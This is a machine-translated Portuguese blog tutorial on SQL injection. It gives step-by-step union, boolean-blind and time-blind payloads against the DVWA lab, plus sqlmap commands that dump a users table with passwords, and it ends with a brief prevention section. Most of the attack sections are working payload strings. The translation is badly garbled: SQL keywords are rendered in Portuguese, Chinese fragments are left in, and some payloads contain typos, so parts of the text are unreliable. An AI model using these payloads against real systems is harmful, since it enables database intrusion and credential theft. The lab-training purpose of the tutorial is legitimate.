Injeção de SQL para teste de penetração

injeção sql um

teoria:

1. linguagem SQL:

Linguagem de consulta estruturada
é uma consulta de banco de dados e linguagem de programação
usada para acessar dados e consultar, atualizar e gerenciar sistemas de banco de dados relacionais

Instruções comumente usadas:
aumentar: inserir nos valores de <nome da tabela> <nome da coluna> (valor da coluna)
excluir: excluir de <nome da tabela> (onde <condição de exclusão>)
alterar: atualizar <nome da tabela> definir <nome da coluna = valor de atualização> (onde <condição de atualização>)
check: selecione <nome da coluna> de <nome da tabela> (onde <expressão de condição de consulta>)

2. injeção sql

Ao inserir o comando sql no formulário da web ou inserir a string de consulta do nome de domínio ou solicitação de página, o
servidor é finalmente enganado para executar comandos SQL maliciosos.

A injeção de SQL usa a porta de serviço HTTP normal, que não parece diferente do acesso normal à web na superfície, e é extremamente oculta e difícil de ser descoberta.

3. O princípio de funcionamento da injeção de sql:

O invasor acessa o servidor da Web criando uma instrução de consulta especial. Depois que o servidor recebe a instrução, ele consulta os dados dinamicamente. O banco de dados retorna as informações do banco de dados de acordo com os requisitos correspondentes. Depois que o servidor recebe as informações, ele retorna diretamente as informações obtidas informações do banco de dados para o invasor.

4. Condições para a formação de vulnerabilidades de injeção de SQL

O usuário pode controlar a entrada de
dados.O código SQL original a ser executado é emendado com a entrada do usuário.

5. A realização da injeção sql:

a. Instrução de consulta SQL
select * from news onde id = 1
Normalmente, isso significa: consulta o registro com id 1 na tabela de notícias.
b. Injeção de SQL
Adicione o código malicioso e reconstrua a instrução
select * from news onde id = 1 ou 1 = 1.
Se todos os registros de dados na tabela forem retornados, haverá um ponto de injeção.

c. Consultar o banco de dados;
juntando instruções de consulta por meio de união e outros métodos para finalmente obter informações relacionadas ao banco de dados.
Por exemplo, informações de conta de administrador e senha.

d. Não há verificação legal sobre o valor do id

6. O dano da injeção de sql;

Vazamento de informações de banco de dados
Adulteração de página da
Web Cavalo suspenso do site
Operação mal-intencionada do banco de dados
Controle remoto do servidor
Destruição de dados do disco rígido

7. classificação de injeção SQL:

Tipo de ponto de injeção: injeção digital, tipo digital de injeção de caracteres
: seu tipo de ponto de injeção é um número (sem aspas para fechar a frase)
tipos de URL comuns, como: http://xxxx.com/sqli.php?id=1
sql interno Instrução: selecione * do nome da tabela onde id = ($ id)

Injeção de caracteres: o tipo de ponto de injeção é um tipo de caractere que deve ser fechado com aspas simples.
Tipos comuns de URL, como: http://xxxx.com/sqli.php?name=fcfc Instrução
SQL interna: selecione * do nome da tabela onde nome = '($ nome)'

Local do ponto de injeção:
obter injeção, o local do ponto de injeção está na seção get parâmetro
Pós-injeção, o campo de injeção está nos dados de postagem (geralmente no envio de formulário, consulta de produto)
injeção de cookie, o campo de injeção é
pesquisado nos dados de cookie, e o ponto de injeção é o local de pesquisa (também pertence à pós-injeção).
Injeção de cabeçalho HTTP, o ponto de injeção está em um determinado campo do cabeçalho http

Injeção pseudo-estática injeção de
base64 Injeção de
segunda ordem injeção de
entidade xml
phpcmsv9 authkey injeção

Resultado de retorno de página:
com echo:
injeção de erro: use count (*), rand (), group by para construir a função de erro
uunion injeção: use a consulta de união para obter todos os dados que você deseja

Sem eco
Boolean blind note: obtenha as informações de que precisamos construindo um julgamento lógico
Time blind note: use a função sleep () para observar a diferença no tempo de resposta do aplicativo da web

injeção manual sql (primária)

Ambiente experimental
dvwa

Combate real:

1. Configure dvwa:
insira dvwa, selecione dvwa security e defina o nível de segurança para baixo.

2. Teste o ponto de injeção de SQL

1. Clique em injeção de sql para entrar na página de teste

2. Tente inserir aspas simples, se um erro for relatado, pode haver pontos de injeção na página

3. Insira 1'ou '1' = '1 para retornar todas as informações de dados, indicando que as informações de entrada do usuário não são controladas.

4. Adivinhe o número de campos na instrução sql:
'ou 1 = 1 ordem por 1 #
' ou 1 = 1 ordem por 2 #
'ou 1 = 1 ordem por 3 #
Se um erro for relatado em 3, o número de campos para 2

5. Determine a ordem dos campos exibidos:
1'union selecione 1,2 #

6. Obtenha o nome do banco de dados atual:
1'union select 1, database () #

7. Obtenha o nome da tabela no banco de dados:
1'union select 1, group_concat (table_name) from information_schema.tables onde table_schema = database () #

8. Obtenha os nomes dos campos na tabela de usuários:
'union select 1, group_concat (column_name) from information_schema.columns onde table_name =' users '#

9. Obtenha os dados da tabela:
'union select group_concat (user_id, user), group_concat (senha) dos usuários #

10. Descriptografe o valor MD5 da senha do usuário por meio de ferramentas ou da rede

injeção manual sql (intermediário)

Ambiente experimental:
DVWA: defina o nível de segurança para
suite burp médio : configurações de proxy, selecione as opções em proxy para adicionar a interface de proxy que precisa ser ouvida.
A configuração do navegador é uma opção de proxy: (configure de acordo com os diferentes navegadores)

Combate real:
1. Defina a solicitação de interceptação no arroto e, em seguida, envie quaisquer parâmetros na página de teste. Nesse momento, o pacote de dados interceptado aparece no arroto. Altere
o parâmetro id = para 1 ou 1 = 1 e clique no proxy -botão interceptar para a frente, Retornar à página de teste. Se os dados forem retornados e a consulta de dados for bem-sucedida, isso significa que há uma vulnerabilidade digital.
Se o parâmetro id for definido como 'ou' 1 '=' 1 se a consulta for bem-sucedida, há uma vulnerabilidade de caractere.

2. Use o software burpsuite para adivinhar o número de campos na instrução de consulta sql.
Depois de capturar o valor de id do pacote de dados, use os seguintes comandos, por sua vez, para adivinhar a solução um por um até que o número de campos seja adivinhado.
Ordenar por 1 #
ordenar por 2 #
ordenar por 3 #

3. Use burpsuite para determinar a ordem dos campos exibidos.
Depois de capturar o valor de id do pacote de dados, adicione uma instrução:
union select 1,2 #

  1. Use burpsuite para obter o nome do banco de dados atual
    . Adicione a instrução após o valor de id do pacote de dados:
    union select 1, database () #

  2. Use burpsuite para obter o nome da tabela
    no banco de dados atual. Adicione a instrução após o valor de id do pacote de dados:
    union select 1, group_concat (table_name) from information_schema.tables onde table_schema = database () #

  3. Use burpsuite para obter os nomes dos campos
    na tabela de usuários: selecione a opção de decodificador na suíte burp, insira usuários e selecione a opção html em codificar para obter o valor hexadecimal na tabela de usuários.
    Em seguida, adicione a instrução após capturar o valor de id do pacote de dados:
    union select 1, group_concat (column_name) from information_schema.columns onde table_name = 0x7573657273 #

  4. Use burpsuite para obter os dados
    da tabela: adicione uma instrução após o valor de id do pacote de dados:
    union select group_concat (user_id, user), group_concat (senha) dos usuários #

injeção manual sql (avançado)

Ambiente experimental:
DVWA

Combate real:
1. Digite dvwa e defina o nível de segurança para alto

2. Insira 1'ou 1 = 1 # na página inicial e a consulta de dados será bem-sucedida, indicando que há uma vulnerabilidade de injeção de caracteres

3. Adivinhe o número de campos na instrução de consulta:
1 'ou 1 = 1 ordem por 1 #
1' ou 1 = 1 ordem por 2 #
1 'ou 1 = 1 ordem por 3 #

4. Determine a ordem dos campos exibidos:
1'união selecione 1,2 #

5. Obtenha o nome do banco de dados
1'union select 1, database () #

6. 获取 表 名:
1 'union select 1, group_concat (table_name) from information_schema.tables onde table_schema = database () #

7. Obtenha os nomes dos campos na tabela de usuários;
1'union selecione 1, group_concat (column_name) de information_schema.columns onde table_name = 0x7573657273 #
(A representação hexadecimal de 'usuários' é 0x7573657273)

8. Obtenha os dados na tabela:
1'ou 1 = 1 union select group_concat (user_id, user), group_concat (senha) dos usuários #

9. Descriptografe a senha obtida com uma ferramenta:

injeção cega sql

Injeção cega, ou seja, no processo de injeção SQL, após a instrução SQL ser selecionada, os dados selecionados não podem ser ecoados para o front end. Precisamos usar alguns métodos especiais para julgar ou tentar.Este processo é chamado de injeção cega.

Cortinas booleanas

Use o método e na instrução sql para retornar correto ou errado para construir

O ambiente experimental
DVWA
definiu o nível de segurança para baixo

Combate real;
1. Digite injeção de sql (cego), entre na página de teste

2. Use 1'e 1 = 1 #Submit, a página de exibição existe, use 1'e 1 = 2 #Submit, a página de exibição não existe.
Isso pode basicamente julgar a existência de injeção

3. Adivinhe o comprimento do nome do banco de dados: 1
'e comprimento (banco de dados ()) = 1 # // Exibição não existe 1
' e comprimento (banco de dados ()) = 2 # // Exibição não existe 1
'e comprimento (database ()) = 3 # // Display does not exist
1'and length (database ()) = 4 # // Display does not exist

4. Adivinhe o nome do banco de dados por dicotomia:
1'e ascii (substry (database (), 1,1)) <100 # // Display não existe
1'and ascii (substry (database (), 1,1 ))> 100 # // Display does not exist
Modifique o segundo parâmetro da função substr neste comando, como (substr (database (), 2, 1)) para testar para obter a segunda letra do banco de dados.

  1. Adivinhe o número de tabelas do banco de dados:
    1'and (selecione a contagem (table_name) de information_schema.tables onde table_schema = database ()) = 1 # // Display does not exist

1'and (selecione a contagem (table_name) from information_schema.tables where table_schema = database ()) = 2 # // Mostra a existência, indicando que há duas tabelas

6. Adivinhe o comprimento do nome da tabela do banco de dados:
1'e comprimento (substr ((selecione table_name em information_schema.tables onde table_schema = database () limit 0,1), 1)) = 1 # // Display does not exist

1 'e comprimento (substr ((selecionar table_name from information_schema.tables onde table_schema = database () limit 0,1), 1)) = 9 # // 显示 存在

1 'e comprimento (substr ((selecionar table_name from information_schema.tables onde table_schema = database () limit 1,1), 1)) = 5 # // 显示 存在

7. Adivinhe o nome da tabela do banco de dados
1'e ascii (substr ((selecione table_name em information_schema.tables onde table_schema = database () limit 0,1), 1,1)) <103 # // Display does not exist

1 'e ascii (substr ((selecionar table_name from information_schema.tables onde table_schema = database () limit 0,1), 1,1))> 103 # // 显示 不 存在

1 'e ascii (substr ((selecionar table_name from information_schema.tables onde table_schema = database () limit 0,1), 1,1)) = 103 # // 显示 存在

Repita as etapas para adivinhar todos os nomes de tabela

8. Adivinhe o comprimento do campo na tabela do banco de dados:
1'and (selecione a contagem (column_name) from information_schema.columns onde table_name = 'users') = 1 #

1 'e (selecione a contagem (column_name) from information_schema.columns onde table_name =' users ') = 8 #

9. Adivinhe o nome do campo na tabela de banco de dados
1'e ascii (substr ((selecione column_name from information_schema.column onde table_name = 'users' limit 0,1), 1,1)) <117 # // Display does not exist

1 'e ascii (substr ((selecione column_name from information_schema.column onde table_name =' users 'limit 0,1), 1,1))> 117 # 显示 不 存在

10. Adivinhe os dados da tabela:
1'and (selecione a contagem (first_name) dos usuários) = 5 # // Mostrar existência, indicando que o número de campos na tabela de usuários é 5
Adivinhe o comprimento de cada registro, indicando o nome do first_name O comprimento do valor é 5 caracteres
1'and (selecione a contagem (first_name) dos usuários) = 5 # // Mostrar existência

11. Adivinhe os dados na tabela por dicotomia:

1 'e ascii (substr ((selecionar first_name do limite de usuários 0,1), 1,1)) <97 #
1' e ascii (substr ((selecionar first_name do limite de usuários 0,1), 1,1))> 97 #
1 'e ascii (substr ((selecionar first_name do limite de usuários 0,1), 1,1)) = 97 #

O tempo cega:

Atraso baseado em tempo

O ambiente experimental
DVWA
definiu o nível de segurança para baixo

Combate real;
1. Digite injeção de sql (cego), entre na página de teste

  1. Use 1 e sleep (5) # para enviar e descobrir que a página não está atrasada.
    Use 1'e sleep (5) # para enviar e descobrir que a página está significativamente atrasada
    . É uma nota cega de tempo baseada em caracteres.

3. Adivinhe o comprimento do nome do banco de dados
1'e if (length (database ()) = 1, sleep (5), 1) # // Não encontrou nenhum atraso

1'e if (length (database ()) = 4, sleep (5), 1) # / Verifica-se que há um atraso, indicando que o comprimento do nome da biblioteca é 4

4. Dicotomia supondo o nome do banco de dados
1'e if (ascii (substr (database (), 1,1))> 97, seelp (5), 1) # // Atraso significativo 1'e
if (ascii (substr (database (), 1,1))> 100, seelp (5), 1) # // Sem atraso 1'e
if (ascii (substr (banco de dados (), 1,1)) <100, seelp (5), 1 ) # // Sem demora

Neste comando, modifique o segundo parâmetro da função substr, como (substr (database (), 2, 1)) para testar e obter a segunda letra do banco de dados.

5. Adivinhe o número de tabelas de banco de dados
1'e if ((selecione a contagem (table_name) de information_schema.tables onde table_schema = database ()) = 1, seelp (5), 1) # Sem atraso

1'e if ((select count (table_name) from information_schema.tables where table_schema = database ()) = 2, seelp (5), 1) # // Há um atraso, indicando que há duas tabelas


6. Adivinhe o comprimento da tabela 1 'e se (comprimento (substr ((selecione nome_tabela de information_scheam.tables onde table_schema = database () limit0,1), 1)) = 1, seelp (5), 1) # / / Sem atraso

1 'e if (comprimento (substr ((selecionar table_name from information_scheam.tables where table_schema = database () limit0,1), 1)) = 9, seelp (5), 1) # // 有 延迟

7. Adivinhe o nome do banco de dados:

1 'e if (ascii (substr ((selecionar table_name from information_schema.tables where table_schema = database () limit 0,1), 1,1))> 103, seelp (5), 1) # // 无 延迟

1 'e if (ascii (substr ((selecionar table_name from information_schema.tables where table_schema = database () limit 0,1), 1,1)) <103, seelp (5), 1) # // 有 延迟

8. Adivinhe o comprimento do campo na tabela de banco de dados
1'e if ((selecione contagem (nome_da_coluna) de esquema_de_informações.colunas onde nome_da_tabela = 'usuários') = 1, sono (5), 1 # // Sem atraso

1 'e if ((selecione a contagem (column_name) from information_schema.columns onde table_name =' users ') = 8, sleep (5), 1 # // 有 延迟

9. Adivinhe o nome do campo na tabela do banco de dados

1 'e if (ascii (substr ((selecionar column_name from information_schema.columns onde table_name =' users 'limit 0,1), 1,1)) <117, sleep (5), 1 # // 无 延迟

1 'e if (ascii (substr ((selecione column_name from information_schema.columns onde table_name =' users 'limit 0,1), 1,1))> 117, sleep (5), 1 # // 无 延迟

10. Adivinhe os dados na tabela:
1'e if ((selecione a contagem (first_name) dos usuários) = 5, sleep (5), 1) # //
O número de campos na tabela de usuários está obviamente atrasado para 5
Adivinhe cada registro O comprimento do first_name indica que o comprimento do primeiro valor é de 5 caracteres
1'e if (length (substr ((select first_name from users limit0,1), 1)) = 5, sleep (5), 1) # / / Com atraso

11.Dicotomia adivinhar os dados na tabela
1'e if (ascii (substr ((selecionar first_name do limite de usuários 0,1), 1,1))> 97, sleep (5), 1) # // sem atraso
1 'e if (ascii (substr ((select first_name from users limit 0,1), 1,1)) <, sleep (5), 1) # // Sem atraso

injeção de ferramenta sqlmap:

Ambiente de teste:
dvwa
kali
real combat:
1. Chame a ferramenta sqlmap em kali, use o comando sqlmap -u target address para testar e o
sistema vai diretamente para a página de login.

2. Ao verificar o elemento do navegador, no cabeçalho da solicitação, você pode encontrar o valor do cookie do navegador atual

3. Adicione o parâmetro -cookie e construa o seguinte comando
sqlmap -u "http://192.168.1.10:81/DVWA/vulnerabilities/sqli/?id=1&Submit#" --cookie = "security = low; PHPSESSID = hlt719753di5a70lfvcuo1nda5 "

Precisa inserir manualmente os parâmetros Y / N relevantes continuamente

4. Depois de adicionar o parâmetro --batch, sqlmap preencherá automaticamente os parâmetros e executará. Foi
encontrado um ponto de injeção de tipo de consulta de união
sqlmap -u "http://192.168.1.10:81/DVWA/vulnerabilities/sqli/?id=1&Submit#" --cookie = "security = low; PHPSESSID = hlt719753di5a70lfvcuo1nda5" --batch

  1. Obter informações relacionadas ao banco de dados
    Adicionar parâmetro --dbs
    sqlmap -u "http://192.168.1.10:81/DVWA/vulnerabilities/sqli/?id=1&Submit#" --cookie = "security = low; PHPSESSID = hlt719753di5a70lfvcuo1nda5" - batch --dbs

  2. Obtenha o nome da tabela no banco de dados.
    Use -D xxx para especificar o banco de dados a ser visualizado e use –tables para visualizar todas as tabelas no banco de dados
    sqlmap -u "http://192.168.1.10:81/DVWA/vulnerabilities/ sqli /? id = 1 & Enviar # "--cookie =" security = low; PHPSESSID = hlt719753di5a70lfvcuo1nda5 "--batch --dbs -D dvwa

  3. Obtenha os nomes dos campos na tabela de usuários
    Use -D xxx (nome da biblioteca) -T xxx (nome da tabela) --columns para enumerar todas as informações dos campos na tabela
    sqlmap -u "http://192.168.1.10:81/DVWA/ vulnerabilidades / sqli /? id = 1 & Enviar # "--cookie =" security = low; PHPSESSID = hlt719753di5a70lfvcuo1nda5 "--batch --dbs -D dvwa -T users --columns

  4. Obtenha os dados da tabela.
    Obtenha os parâmetros de usuário e senha, os comandos específicos são os seguintes
    -D (nome do banco de dados xxx) -T (nome da tabela xxx) -C (nome do campo) -dump para despejar itens da tabela de dados DBMS

sqlmap -u “http://192.168.1.10:81/DVWA/vulnerabilities/sqli/?id=1&Submit#” --cookie = “security = low; PHPSESSID = hlt719753di5a70lfvcuo1nda5” --batch --dbs -D dvwa -T usuários -C user_id, usuário, senha - dump

Prevenção de injeção de SQL:

1. Fortalecimento da segurança do banco de dados, WAF, IDS \ IPS
2. Escape e filtre estritamente a entrada
3. Use parametrizado (Parametrizado)
4. O
pré-processamento PDO-O pré-processamento PDO pode evitar razões de injeção de SQL sem o pré- processamento PDO para o processado SQL, quando a instrução SQL é inserida para execução, o servidor da Web pode reunir instruções SQL perigosas quando ele é montado sozinho. No entanto, se o SQL pré-processado pelo PDO for executado, o MYSQL será montado por si mesmo. Mesmo se a instrução SQL perigosa for incorporada, ela não será processada e somente será passada como um parâmetro em vez de ser emendada no SQL instrução para evitá-lo. Injeção de SQL.

Acho que você gosta

Origin blog.csdn.net/weixin_45380284/article/details/107664117
Recomendado
Clasificación